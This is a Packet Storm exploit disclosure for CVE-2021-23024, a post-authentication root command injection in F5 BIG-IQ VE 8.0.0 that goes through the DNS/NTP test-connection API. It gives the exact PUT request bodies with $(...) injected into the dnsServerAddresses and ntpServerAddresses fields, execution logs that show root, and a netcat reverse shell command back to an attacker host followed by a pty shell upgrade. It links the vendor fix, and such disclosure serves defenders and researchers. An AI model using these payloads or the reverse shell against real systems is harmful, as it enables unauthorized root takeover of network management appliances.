what you don't know can hurt you

F5 BIG-IQ VE 8.0.0-2923215 Remote Root

F5 BIG-IQ VE 8.0.0-2923215 Remote Root
Posted Jun 23, 2021
Authored by Jeremy Brown

F5 BIG-IQ VE version 8.0.0-2923215 post-authentication remote root code execution exploit.

tags | exploit, remote, root, code execution
advisories | CVE-2021-23024
MD5 | a11dfe5c02989bd70fe132ae0aa3fd92

F5 BIG-IQ VE 8.0.0-2923215 Remote Root

Change Mirror Download
F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE

CVE-2021-23024

=======
Details
=======

It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection.

There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection.

User accounts tested for calling the API:

- Admin
- User + Administrator Role

SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access:

admin:x:0:500:Admin User:/home/admin:/bin/false

But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal.

=====
Repro
=====

https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit

Modify and replay back the dnsServerAddresses JSON field.

=======
Request
=======

PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1
X-F5-Auth-Token: eyJraW.....
.....

{"dnsServerAddresses":["$(id>/tmp/id)"],"ntpServerAddresses":[]}

or

{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]}

========
Response
========

HTTP/1.1 400 Bad Request
Server: webd
.....

{"code":400,"message":"Dns $(id>/tmp/id) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"$(id>/tmp/id)\"],\"ntpServerAddresses\":[]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2101063,"errorStack":[],"kind":":resterrorresponse"}

and repectively

{"code":400,"message":"NTP $(whoami) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"8.8.8.8\"],\"ntpServerAddresses\":[\"$(whoami)\"]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2149253,"errorStack":[],"kind":":resterrorresponse"}

=============
Execution Log
=============

DNS:

pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 @$(id>/tmp/id) ]
pid=7351 executed [id ]
pid=7349 executed [dig +short +time=5 +tries=1 @ ]

[root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

NTP:

pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @8.8.8.8 $(whoami) ]
pid=1290 executed [whoami ]
pid=1288 executed [dig +short +time=5 +tries=1 @8.8.8.8 root ]

============
Exploitation
============

The netcat binary with -e support is installed on the system already making a remote shell easy for demo.

A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server.

$ nc -l -p 5000
... connection receieved

python -c 'import pty; pty.spawn("/bin/bash")'

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd

/var/service/restjavad

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps
.....
32320 ? S 0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS='-Xms6000m -Xmx6000m';export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1
32335 tty1 S 0:00 python -c import pty; pty.spawn("/bin/bash")
32336 pts/0 Ss 0:00 /bin/bash

===
Fix
===

https://support.f5.com/csp/article/K06024431
Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close